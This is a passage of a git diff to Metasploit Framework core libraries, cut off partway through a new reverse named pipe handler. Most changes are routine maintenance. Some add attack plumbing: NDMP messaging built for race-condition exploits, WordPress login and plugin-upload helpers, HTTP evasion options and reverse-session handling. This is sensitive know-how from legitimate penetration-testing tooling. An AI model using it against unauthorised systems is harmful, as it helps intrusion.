diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb
index 6f828f8276..c453115864 100644
--- a/lib/msf/core/auxiliary/udp_scanner.rb
+++ b/lib/msf/core/auxiliary/udp_scanner.rb
@@ -43,18 +43,20 @@ module Auxiliary::UDPScanner
     datastore['BATCHSIZE'].to_i
   end
 
-  def udp_socket(ip, port)
+  def udp_socket(ip, port, bind_peer: true)
+    key = "#{ip}:#{port}:#{bind_peer ? 'bound' : 'unbound'}"
     @udp_sockets_mutex.synchronize do
-      key = "#{ip}:#{port}"
       unless @udp_sockets.key?(key)
-        @udp_sockets[key] =
-          Rex::Socket::Udp.create({
-            'LocalHost' => datastore['CHOST'] || nil,
-            'LocalPort' => datastore['CPORT'] || 0,
-            'PeerHost'  => ip,
-            'PeerPort'  => port,
-            'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
-          })
+        sock_info = {
+          'LocalHost' => datastore['CHOST'] || nil,
+          'LocalPort' => datastore['CPORT'] || 0,
+          'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
+        }
+        if bind_peer
+          sock_info['PeerHost'] = ip
+          sock_info['PeerPort'] = port
+        end
+        @udp_sockets[key] = Rex::Socket::Udp.create(sock_info)
         add_socket(@udp_sockets[key])
       end
       return @udp_sockets[key]
@@ -123,10 +125,16 @@ module Auxiliary::UDPScanner
     data = data.to_binary_s if data.respond_to?('to_binary_s')
 
     resend_count = 0
-    sock = nil
+
     begin
-      sock = udp_socket(ip, port)
-      sock.send(data, 0)
+      addrinfo = Addrinfo.ip(ip)
+      unless addrinfo.ipv4_multicast? || addrinfo.ipv6_multicast?
+        sock = udp_socket(ip, port, bind_peer: true)
+        sock.send(data, 0)
+      else
+        sock = udp_socket(ip, port, bind_peer: false)
+        sock.sendto(data, ip, port, 0)
+      end
 
     rescue ::Errno::ENOBUFS
       resend_count += 1
@@ -136,8 +144,7 @@ module Auxiliary::UDPScanner
       end
 
       scanner_recv(0.1)
-
-      ::IO.select(nil, nil, nil, 0.25)
+      sleep(0.25)
 
       retry
 
diff --git a/lib/msf/core/auxiliary/web/analysis/differential.rb b/lib/msf/core/auxiliary/web/analysis/differential.rb
index 0a5fbaa2a2..fa9305fe88 100644
--- a/lib/msf/core/auxiliary/web/analysis/differential.rb
+++ b/lib/msf/core/auxiliary/web/analysis/differential.rb
@@ -3,7 +3,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 ##
 
 module Msf
diff --git a/lib/msf/core/auxiliary/web/analysis/taint.rb b/lib/msf/core/auxiliary/web/analysis/taint.rb
index 1be14dbd85..81d7e375b5 100644
--- a/lib/msf/core/auxiliary/web/analysis/taint.rb
+++ b/lib/msf/core/auxiliary/web/analysis/taint.rb
@@ -3,7 +3,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 ##
 
 module Msf
diff --git a/lib/msf/core/auxiliary/web/analysis/timing.rb b/lib/msf/core/auxiliary/web/analysis/timing.rb
index ed0dc6042a..23c27703be 100644
--- a/lib/msf/core/auxiliary/web/analysis/timing.rb
+++ b/lib/msf/core/auxiliary/web/analysis/timing.rb
@@ -3,7 +3,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 ##
 
 module Msf
diff --git a/lib/msf/core/auxiliary/web/form.rb b/lib/msf/core/auxiliary/web/form.rb
index 130b0fe0b3..d31af55c50 100644
--- a/lib/msf/core/auxiliary/web/form.rb
+++ b/lib/msf/core/auxiliary/web/form.rb
@@ -2,7 +2,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 
 require 'net/https'
 require 'net/http'
diff --git a/lib/msf/core/auxiliary/web/fuzzable.rb b/lib/msf/core/auxiliary/web/fuzzable.rb
index 07ae5ae284..4f12fd695d 100644
--- a/lib/msf/core/auxiliary/web/fuzzable.rb
+++ b/lib/msf/core/auxiliary/web/fuzzable.rb
@@ -2,7 +2,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 
 require 'net/https'
 require 'net/http'
diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb
index 90fb92a2c9..0685414940 100644
--- a/lib/msf/core/auxiliary/web/http.rb
+++ b/lib/msf/core/auxiliary/web/http.rb
@@ -3,7 +3,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 ##
 
 require 'uri'
diff --git a/lib/msf/core/auxiliary/web/path.rb b/lib/msf/core/auxiliary/web/path.rb
index 07ab99694e..f522224550 100644
--- a/lib/msf/core/auxiliary/web/path.rb
+++ b/lib/msf/core/auxiliary/web/path.rb
@@ -2,7 +2,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 
 require 'net/https'
 require 'net/http'
diff --git a/lib/msf/core/auxiliary/web/target.rb b/lib/msf/core/auxiliary/web/target.rb
index fd4fc593ff..d8d41831e5 100644
--- a/lib/msf/core/auxiliary/web/target.rb
+++ b/lib/msf/core/auxiliary/web/target.rb
@@ -2,7 +2,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 
 require 'net/https'
 require 'net/http'
diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb
index 0b7f5f54cc..ef36413434 100644
--- a/lib/msf/core/data_store.rb
+++ b/lib/msf/core/data_store.rb
@@ -14,10 +14,13 @@ class DataStore < Hash
   #
   def initialize()
     @options     = Hash.new
+    @aliases     = Hash.new
     @imported    = Hash.new
     @imported_by = Hash.new
   end
 
+  attr_accessor :aliases
+
   #
   # Clears the imported flag for the supplied key since it's being set
   # directly.
@@ -133,11 +136,16 @@ class DataStore < Hash
     }
   end
 
-  def import_option(key, val, imported=true, imported_by=nil, option=nil)
+  def import_option(key, val, imported = true, imported_by = nil, option = nil)
     self.store(key, val)
 
+    if option
+      option.aliases.each do |a|
+        @aliases[a.downcase] = key.downcase
+      end
+    end
     @options[key] = option
-    @imported[key]    = imported
+    @imported[key] = imported
     @imported_by[key] = imported_by
   end
 
@@ -245,9 +253,15 @@ protected
   #
   def find_key_case(k)
 
+    # Scan each alias looking for a key
+    search_k = k.downcase
+    if @aliases.has_key?(search_k)
+      search_k = @aliases[search_k]
+    end
+
     # Scan each key looking for a match
     self.each_key do |rk|
-      if (rk.downcase == k.downcase)
+      if rk.downcase == search_k
         return rk
       end
     end
@@ -317,6 +331,7 @@ class ModuleDataStore < DataStore
     self.keys.each do |k|
       clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
     end
+    clone.aliases = self.aliases
     clone
   end
 end
diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb
index 45e67086fd..f9af660efb 100644
--- a/lib/msf/core/db_manager/host.rb
+++ b/lib/msf/core/db_manager/host.rb
@@ -135,7 +135,7 @@ module Msf::DBManager::Host
   # +:arch+::         -- one of the ARCH_* constants
   # +:mac+::          -- the host's MAC address
   # +:scope+::        -- interface identifier for link-local IPv6
-  # +:virtual_host+:: -- the name of the VM host software, eg "VMWare", "QEMU", "Xen", etc.
+  # +:virtual_host+:: -- the name of the virtualization software, eg "VMWare", "QEMU", "Xen", "Docker", etc.
   #
   def report_host(opts)
 
diff --git a/lib/msf/core/db_manager/import/nessus/xml/v2.rb b/lib/msf/core/db_manager/import/nessus/xml/v2.rb
index 00822d03b7..c17934074f 100644
--- a/lib/msf/core/db_manager/import/nessus/xml/v2.rb
+++ b/lib/msf/core/db_manager/import/nessus/xml/v2.rb
@@ -74,7 +74,7 @@ module Msf::DBManager::Import::Nessus::XML::V2
         nasl = item['nasl'].to_s
         nasl_name = item['nasl_name'].to_s
         port = item['port'].to_s
-        proto = item['proto'] || "tcp"
+        proto = item['proto'] ? item['proto'].downcase : "tcp"
         sname = item['svc_name']
         severity = item['severity']
         description = item['description']
diff --git a/lib/msf/core/db_manager/module_cache.rb b/lib/msf/core/db_manager/module_cache.rb
index cf2b2a99c6..b489ec8437 100644
--- a/lib/msf/core/db_manager/module_cache.rb
+++ b/lib/msf/core/db_manager/module_cache.rb
@@ -198,7 +198,7 @@ module Msf::DBManager::ModuleCache
 
     ActiveRecord::Base.connection_pool.with_connection do
       @query = Mdm::Module::Detail.all
-      
+
       @archs    = Set.new
       @authors  = Set.new
       @names    = Set.new
@@ -207,10 +207,10 @@ module Msf::DBManager::ModuleCache
       @stances  = Set.new
       @text     = Set.new
       @types    = Set.new
-            
+
       value_set_by_keyword.each do |keyword, value_set|
         formatted_values = match_values(value_set)
-        
+
         case keyword
           when 'app'
             formatted_values = value_set.collect { |value|
@@ -244,7 +244,7 @@ module Msf::DBManager::ModuleCache
         end
       end
     end
-        
+
     @query = @query.module_arch(            @archs.to_a.flatten   ) if @archs.any?
     @query = @query.module_author(          @authors.to_a.flatten ) if @authors.any?
     @query = @query.module_name(            @names.to_a.flatten   ) if @names.any?
@@ -253,7 +253,7 @@ module Msf::DBManager::ModuleCache
     @query = @query.module_type(            @types.to_a.flatten   ) if @types.any?
     @query = @query.module_stance(          @stances.to_a.flatten ) if @stances.any?
     @query = @query.module_ref(             @refs.to_a.flatten    ) if @refs.any?
-    
+
     @query.uniq
   end
 
@@ -371,4 +371,4 @@ module Msf::DBManager::ModuleCache
       module_detail.save!
     end
   end
-end
\ No newline at end of file
+end
diff --git a/lib/msf/core/exploit/browser_autopwn.rb b/lib/msf/core/exploit/browser_autopwn.rb
index d426ba0cd8..888dab4f7e 100644
--- a/lib/msf/core/exploit/browser_autopwn.rb
+++ b/lib/msf/core/exploit/browser_autopwn.rb
@@ -3,7 +3,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 
 require 'msf/core/auxiliary'
 
diff --git a/lib/msf/core/exploit/browser_autopwn2.rb b/lib/msf/core/exploit/browser_autopwn2.rb
index 7270a03639..b5a0bdc4a4 100644
--- a/lib/msf/core/exploit/browser_autopwn2.rb
+++ b/lib/msf/core/exploit/browser_autopwn2.rb
@@ -810,6 +810,7 @@ module Msf
 
       %Q|<html>
       <head>
+      <meta http-equiv="cache-control" content="no-cache" />
       <script>
       #{js}
       </script>
diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb
index 187059b64c..d7bcc0c46e 100644
--- a/lib/msf/core/exploit/http/client.rb
+++ b/lib/msf/core/exploit/http/client.rb
@@ -508,6 +508,68 @@ module Exploit::Remote::HttpClient
     end
   end
 
+  #
+  # Returns a hash of request opts from a URL string
+  def request_opts_from_url(url)
+    # verify and extract components from the URL
+    begin
+      tgt = URI.parse(url)
+      raise 'Invalid URL' unless tgt.scheme =~ %r{https?}
+      raise 'Invalid URL' if tgt.host.to_s.eql? ''
+    rescue => e
+      print_error "Could not parse URL: #{e}"
+      return nil
+    end
+
+    opts = { 'rhost' => tgt.host, 'rport' => tgt.port, 'uri' => tgt.request_uri }
+    opts['SSL'] = true if tgt.scheme == 'https'
+    if tgt.query and tgt.query.size > 13
+      # Assming that this is going to be mostly used for GET requests as string -> req
+      opts['vars_get'] = {}
+      tgt.query.split('&').each do |pair|
+        k,v = pair.split('=',2)
+        opts['vars_get'][k] = v
+      end
+    end
+    return opts
+  end
+
+  #
+  # Returns response from a simple URL call
+  def request_url(url, keepalive = false)
+    opts = request_opts_from_url(url)
+    return nil if opts.nil?
+    res = send_request_raw(opts)
+    disconnect unless keepalive
+    return res
+  end
+
+  #
+  # Downloads a URL
+  def download(url)
+    print_status "Downloading '#{url}'"
+
+    begin
+      target = URI.parse url
+      raise 'Invalid URL' unless target.scheme =~ /https?/
+      raise 'Invalid URL' if target.host.to_s.eql? ''
+    rescue => e
+      print_error "Could not parse URL: #{e}"
+      return nil
+    end
+
+    res = request_url(url)
+
+    unless res
+      print_error 'Connection failed'
+      return nil
+    end
+
+    print_status "- HTTP #{res.code} - #{res.body.length} bytes"
+
+    res.code == 200 ? res.body : nil
+  end
+
   # removes HTML tags from a provided string.
   # The string is html-unescaped before the tags are removed
   # Leading whitespaces and double linebreaks are removed too
diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb
index 14d77f7601..e7bb5e47b9 100644
--- a/lib/msf/core/exploit/http/server.rb
+++ b/lib/msf/core/exploit/http/server.rb
@@ -32,6 +32,7 @@ module Exploit::Remote::HttpServer
 
     register_evasion_options(
       [
+        OptBool.new('HTTP::no_cache', [false, 'Disallow the browser to cache HTTP content', false]),
         OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', false]),
         OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false]),
         OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', false]),
@@ -42,7 +43,8 @@ module Exploit::Remote::HttpServer
 
     register_advanced_options([
       OptAddress.new('URIHOST', [false, 'Host to use in URI (useful for tunnels)']),
-      OptPort.new('URIPORT', [false, 'Port to use in URI (useful for tunnels)'])
+      OptPort.new('URIPORT', [false, 'Port to use in URI (useful for tunnels)']),
+      OptBool.new('SendRobots', [false, 'Return a robots.txt file if asked for one', false])
     ])
 
     # Used to keep track of resources added to the service manager by
@@ -179,7 +181,26 @@ module Exploit::Remote::HttpServer
       print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
     end
 
+    if datastore['SendRobots']
+      add_robots_resource
+    end
+
     add_resource(uopts)
+
+  end
+
+  def add_robots_resource
+    proc = Proc.new do |cli, req|
+      self.cli = cli
+      send_robots(cli, req)
+    end
+
+    vprint_status('Adding hardcoded URI /robots.txt')
+    begin
+      add_resource('Path' => '/robots.txt', 'Proc' => proc)
+    rescue RuntimeError => e
+      print_warning(e.message)
+    end
   end
 
   # Set {#on_request_uri} to handle the given +uri+ in addition to the one
@@ -558,6 +579,10 @@ module Exploit::Remote::HttpServer
       response.headers.junk_headers = 1
     end
 
+    if datastore['HTTP::no_cache']
+      response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate'
+    end
+
     headers.each_pair { |k,v| response[k] = v }
 
     cli.send_response(response)
@@ -605,6 +630,22 @@ module Exploit::Remote::HttpServer
     cli.send_response(resp_404)
   end
 
+  #
+  # Sends a canned robots.txt file
+  #
+  def send_robots(cli, request)
+    print_status('Sending robots.txt')
+    robots = create_response(200, 'Success')
+    robots['Content-Type'] = 'text/plain'
+
+    robots.body = %Q{\
+User-agent: *
+Disallow: /
+}
+
+    cli.send_response(robots)
+  end
+
 
   #
   # Returns the configured (or random, if not configured) URI path
diff --git a/lib/msf/core/exploit/http/wordpress/helpers.rb b/lib/msf/core/exploit/http/wordpress/helpers.rb
index 206b0364c7..f938620420 100644
--- a/lib/msf/core/exploit/http/wordpress/helpers.rb
+++ b/lib/msf/core/exploit/http/wordpress/helpers.rb
@@ -10,12 +10,12 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
   # @param pass [String] Password
   # @param redirect URL [String] to redirect after successful login
   # @return [Hash] The post data for vars_post Parameter
-  def wordpress_helper_login_post_data(user, pass, redirect=nil)
+  def wordpress_helper_login_post_data(user, pass, redirect = nil)
     post_data = {
-        'log' => user.to_s,
-        'pwd' => pass.to_s,
-        'redirect_to' => redirect.to_s,
-        'wp-submit' => 'Login'
+      'log' => user.to_s,
+      'pwd' => pass.to_s,
+      'redirect_to' => redirect.to_s,
+      'wp-submit' => 'Login'
     }
     post_data
   end
@@ -31,23 +31,23 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
   # @return [String,nil] The location of the new comment/post, nil on error
   def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url)
     vars_post = {
-        'comment' => comment,
-        'submit' => 'Post+Comment',
-        'comment_post_ID' => comment_post_id.to_s,
-        'comment_parent' => '0'
+      'comment' => comment,
+      'submit' => 'Post+Comment',
+      'comment_post_ID' => comment_post_id.to_s,
+      'comment_parent' => '0'
     }
     vars_post.merge!({
-        'author' => author,
-        'email' => email,
-        'url' => url,
+      'author' => author,
+      'email' => email,
+      'url' => url
     }) unless login_cookie
 
     options = {
-        'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
-        'method' => 'POST'
+      'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
+      'method' => 'POST'
     }
-    options.merge!({'vars_post' => vars_post})
-    options.merge!({'cookie' => login_cookie}) if login_cookie
+    options.merge!({ 'vars_post' => vars_post })
+    options.merge!({ 'cookie' => login_cookie }) if login_cookie
     res = send_request_cgi(options)
     if res && res.redirect? && res.redirection
       return wordpress_helper_parse_location_header(res)
@@ -65,7 +65,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
   # @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found
   # @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user
   # @return [Integer,nil] The post id, nil when nothing found
-  def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil)
+  def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled = false, login_cookie = nil)
     range.each { |id|
       vprint_status("Checking POST ID #{id}...") if (id % 100) == 0
       body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
@@ -81,15 +81,15 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
   # @param comments_enabled [Boolean] Check if comments are enabled on this post
   # @param login_cookie [String] A valid login cookie to perform the check as an authenticated user
   # @return [String,nil] the HTTP response body of the post, nil otherwise
-  def wordpress_helper_check_post_id(uri, comments_enabled=false, login_cookie=nil)
+  def wordpress_helper_check_post_id(uri, comments_enabled = false, login_cookie = nil)
     options = {
-        'method' => 'GET',
-        'uri' => uri
+      'method' => 'GET',
+      'uri' => uri
     }
-    options.merge!({'cookie' => login_cookie}) if login_cookie
+    options.merge!({ 'cookie' => login_cookie }) if login_cookie
     res = send_request_cgi(options)
     # post exists
-    if res and res.code == 200
+    if res && res.code == 200
       # also check if comments are enabled
       if comments_enabled
         if res.body =~ /form.*action.*wp-comments-post\.php/
@@ -123,8 +123,8 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
   #
   # @param cookie [String] A valid admin session cookie
   # @return [String,nil] The nonce, nil on error
-  def wordpress_helper_get_plugin_upload_nonce(cookie)
-    uri = normalize_uri(wordpress_url_backend, 'plugin-install.php')
+  def wordpress_helper_get_plugin_upload_nonce(cookie, path = nil)
+    uri = path || normalize_uri(wordpress_url_backend, 'plugin-install.php')
     options = {
       'method'    => 'GET',
       'uri'       => uri,
@@ -134,6 +134,9 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
     res = send_request_cgi(options)
     if res && res.code == 200
       return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
+    elsif res && res.redirect? && res.redirection
+      path = wordpress_helper_parse_location_header(res)
+      return wordpress_helper_get_plugin_upload_nonce(cookie, path)
     end
   end
 end
diff --git a/lib/msf/core/exploit/mysql.rb b/lib/msf/core/exploit/mysql.rb
index 52647dda7d..c41d7edd7d 100644
--- a/lib/msf/core/exploit/mysql.rb
+++ b/lib/msf/core/exploit/mysql.rb
@@ -4,7 +4,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 ##
 
 ###
diff --git a/lib/msf/core/exploit/ndmp_socket.rb b/lib/msf/core/exploit/ndmp_socket.rb
new file mode 100644
index 0000000000..82c95dc43a
--- /dev/null
+++ b/lib/msf/core/exploit/ndmp_socket.rb
@@ -0,0 +1,199 @@
+require 'msf/core'
+require 'xdr'
+
+module Msf
+
+###
+#
+# This module exposes methods for accessing NDMP services using a class-based wrapper
+# around normal sockets, allowing the use of more than one NDMP connection at once.
+#
+###
+module Exploit::Remote::NDMPSocket
+
+module NDMP
+
+#
+# This class represents a NDMP message, including its header and body.
+#
+class Message
+  class Header < XDR::Struct
+    attribute :sequence_num,       XDR::Int
+    attribute :timestamp,          XDR::Int
+    attribute :is_response,        XDR::Bool
+    attribute :type,               XDR::Int
+    attribute :reply_sequence_num, XDR::Int
+    attribute :error,              XDR::Int
+  end
+
+  CONFIG_GET_HOST_INFO   = 0x100
+  CONFIG_GET_BUTYPE_ATTR = 0x101
+  CONFIG_GET_SERVER_INFO = 0x108
+  NOTIFY_CONNECTED       = 0x502
+  CONNECT_OPEN           = 0x900
+  CONNECT_CLIENT_AUTH    = 0x901
+
+  def self.new_request(type, body='')
+    header = Header.new(
+      :sequence_num       => nil,
+      :timestamp          => nil,
+      :is_response        => false,
+      :type               => type,
+      :reply_sequence_num => 0,
+      :error              => 0
+    )
+    new(header, body)
+  end
+
+  attr_accessor :header, :body
+
+  def initialize(header, body)
+    @header = header
+    @body = body
+  end
+end
+
+#
+# This class wraps a normal socket with NDMP functionality, such as NDMP message reading
+# and writing.
+#
+class Socket
+  def initialize(sock)
+    @sock = sock
+    @next_sequence_num = 1
+  end
+
+  def raw_recv(*args)
+    @sock.recv(*args)
+  end
+
+  def raw_recvall(n, *args)
+    r = ''
+    while r.length < n
+      s = raw_recv(n - r.length, *args)
+      return nil if s.to_s.empty?
+      r << s
+    end
+    r
+  end
+
+  def raw_send(*args)
+    @sock.send(*args)
+  end
+
+  def raw_sendall(s, *args)
+    n = 0
+    while n < s.length
+      i = raw_send(s[n..s.length], *args)
+      return false if i <= 0
+      n += i
+    end
+
+    true
+  end
+
+  def close
+    @sock.close
+  end
+
+  #
+  # Read a single NDMP message. If require_ok_type is given, the message must be of the
+  # given type and have no error indicated.
+  #
+  def read_ndmp_msg(require_ok_type=nil)
+    frags = read_ndmp_frags
+    return nil if frags.nil?
+    header = Message::Header.from_xdr(frags.slice!(0...(4 * 6)))
+
+    return nil if require_ok_type && (require_ok_type != header.type || header.error != 0)
+
+    Message.new(header, frags)
+  end
+
+  #
+  # Prepare a NDMP message for sending and send it. Can send messages multiple times.
+  #
+  # If all_but_all_char is true, then the last character will be held back and will be
+  # returned so that it can be sent at a later point elsewhere. This is sometimes
+  # necessary for exploiting e.g. race conditions.
+  #
+  def prepare_and_write_ndmp_msg(msg, all_but_last_char=false, times=1, flags=0)
+    msg.header.sequence_num = @next_sequence_num
+    @next_sequence_num += 1
+    msg.header.timestamp = Time.now.to_i
+
+    frag = msg.header.to_xdr + msg.body
+    write_ndmp_frag(frag, all_but_last_char, times, flags)
+  end
+
+  #
+  # Send and recieve a pair of NDMP messages.
+  #
+  def do_request_response(msg, *args)
+    return nil unless prepare_and_write_ndmp_msg(msg, *args)
+    read_ndmp_msg(msg.header.type)
+  end
+
+  #
+  # Establish a SSL session on the socket. Raw socket reading/writing functions are
+  # replaced with their SSL equivalents.
+  #
+  def wrap_with_ssl(ssl_context)
+    @sock = OpenSSL::SSL::SSLSocket.new(@sock, ssl_context)
+    @sock.connect
+
+    def self.raw_recv(n, *_args)
+      @sock.sysread(n)
+    end
+
+    def self.raw_send(b, *_args)
+      @sock.syswrite(b)
+    end
+  end
+
+  private
+
+  #
+  # Read and reassemble a group of NDMP fragments. Usually NDMP messages are sent in a
+  # single NDMP fragment, but this is not guaranteed by the standard.
+  #
+  def read_ndmp_frags
+    result = ''
+
+    loop do
+      buf = raw_recvall(4)
+      return nil if buf.nil?
+      n = buf.unpack('N')[0]
+      len = n & 0x7fffffff
+      last = (n & 0x80000000) != 0
+
+      buf = raw_recvall(len)
+      return nil if buf.nil?
+      result << buf
+
+      break if last
+    end
+
+    result
+  end
+
+  #
+  # Write a NDMP fragment (i.e. containing a NDMP packet).
+  #
+  # Can hold back on sending the last character; see prepare_and_write_ndmp_msg.
+  #
+  def write_ndmp_frag(buf, all_but_last_char, times, flags)
+    buf = ([buf.length | 0x80000000].pack('N') + buf) * times
+
+    return false unless raw_sendall(all_but_last_char ? buf[0...-1] : buf, flags)
+
+    all_but_last_char ? buf[-1] : true
+  end
+
+end
+
+end
+
+end
+
+end
diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb
old mode 100644
new mode 100755
index 32460885dd..36c03bca7c
--- a/lib/msf/core/exploit/smtp_deliver.rb
+++ b/lib/msf/core/exploit/smtp_deliver.rb
@@ -184,7 +184,7 @@ module Exploit::Remote::SMTPDeliver
 
     raw_send_recv("MAIL FROM: <#{mailfrom}>\r\n", nsock)
     res = raw_send_recv("RCPT TO: <#{mailto}>\r\n", nsock)
-    if res[0..2] == '250'
+    if res && res[0..2] == '250'
       resp = raw_send_recv("DATA\r\n", nsock)
 
       # If the user supplied a Date field, use that, else use the current
@@ -242,10 +242,12 @@ module Exploit::Remote::SMTPDeliver
       # to dump it all.
       vprint_status("C: #{((cmd.length > 120) ? cmd[0,120] + "..." : cmd).strip}")
     end
-
-    nsock.put(cmd)
-    res = nsock.get_once
-
+    begin
+      nsock.put(cmd)
+      res = nsock.get_once
+    rescue
+      return nil
+    end
     # Don't truncate the server output because it might be helpful for
     # debugging.
     vprint_status("S: #{res.strip}") if res
diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb
index 265bea4ac5..92e9af2293 100644
--- a/lib/msf/core/exploit/sunrpc.rb
+++ b/lib/msf/core/exploit/sunrpc.rb
@@ -16,8 +16,6 @@ module Msf
 module Exploit::Remote::SunRPC
   include Exploit::Remote::Tcp
 
-  XDR = Rex::Encoder::XDR
-
   MSG_ACCEPTED = 0
   SUCCESS = 0		# RPC executed successfully
   PROG_UMAVAIL = 1	# Remote hasn't exported program
@@ -72,7 +70,7 @@ module Exploit::Remote::SunRPC
     ret = rpcobj.create
     raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret
 
-    arr = XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
+    arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
     if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
       err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
       err << 'Message not accepted'  if arr[1] != MSG_ACCEPTED
diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb
index b8e797c8ec..9fbefb234e 100644
--- a/lib/msf/core/framework.rb
+++ b/lib/msf/core/framework.rb
@@ -229,6 +229,40 @@ class Framework
     }
   end
 
+  def search(match, logger: nil)
+    # Check if the database is usable
+    use_db = true
+    if self.db
+      if !(self.db.migrated && self.db.modules_cached)
+        logger.print_warning("Module database cache not built yet, using slow search") if logger
+        use_db = false
+      end
+    else
+      logger.print_warning("Database not connected, using slow search") if logger
+      use_db = false
+    end
+
+    # Used the database for search
+    if use_db
+      return self.db.search_modules(match)
+    end
+
+    # Do an in-place search
+    matches = []
+    [ self.exploits, self.auxiliary, self.post, self.payloads, self.nops, self.encoders ].each do |mset|
+      mset.each do |m|
+        begin
+          o = mset.create(m[0])
+          if o && !o.search_filter(match)
+            matches << o
+          end
+        rescue
+        end
+      end
+    end
+    matches
+  end
+
 protected
 
   # @!attribute options
diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb
index bbd899a0e0..9f39bfc922 100644
--- a/lib/msf/core/handler.rb
+++ b/lib/msf/core/handler.rb
@@ -244,11 +244,10 @@ protected
     framework.sessions.register(session)
 
     # Call the handler's on_session() method
-    on_session(session)
-
-    # Process the auto-run scripts for this session
-    if session.respond_to?('process_autoruns')
-      session.process_autoruns(datastore)
+    if session.respond_to?(:bootstrap)
+      session.bootstrap(datastore, self)
+    else
+      on_session(session)
     end
 
     # If there is an exploit associated with this payload, then let's notify
diff --git a/lib/msf/core/handler/reverse_named_pipe.rb b/lib/msf/core/handler/reverse_named_pipe.rb
new file mode 100644
index 0000000000..51573e9c8b
--- /dev/null
+++ b/lib/msf/core/handler/reverse_named_pipe.rb
@@ -0,0 +1,76 @@
+# -*- coding: binary -*-
+require 'thread'
+require 'msf/core/post_mixin'
+
+module Msf
+module Handler
+###
+#
+# TODO: docs
+#
+###
+module ReverseNamedPipe
+
+  include Msf::Handler
+
+  #
+  # Returns the string representation of the handler type, in this case
+  # 'reverse_named_pipe'.
+  #
+  def self.handler_type
+    "reverse_named_pipe"
+  end
+
+  #
+  # Returns the connection-described general handler type, in this case
+  # 'reverse'.
+  #
+  def self.general_handler_type
+    "reverse"
+  end
+
+  #
+  # Initializes the reverse handler and ads the options that are required
+  # for reverse named pipe payloads.
+  #
+  def initialize(info={})
+    super
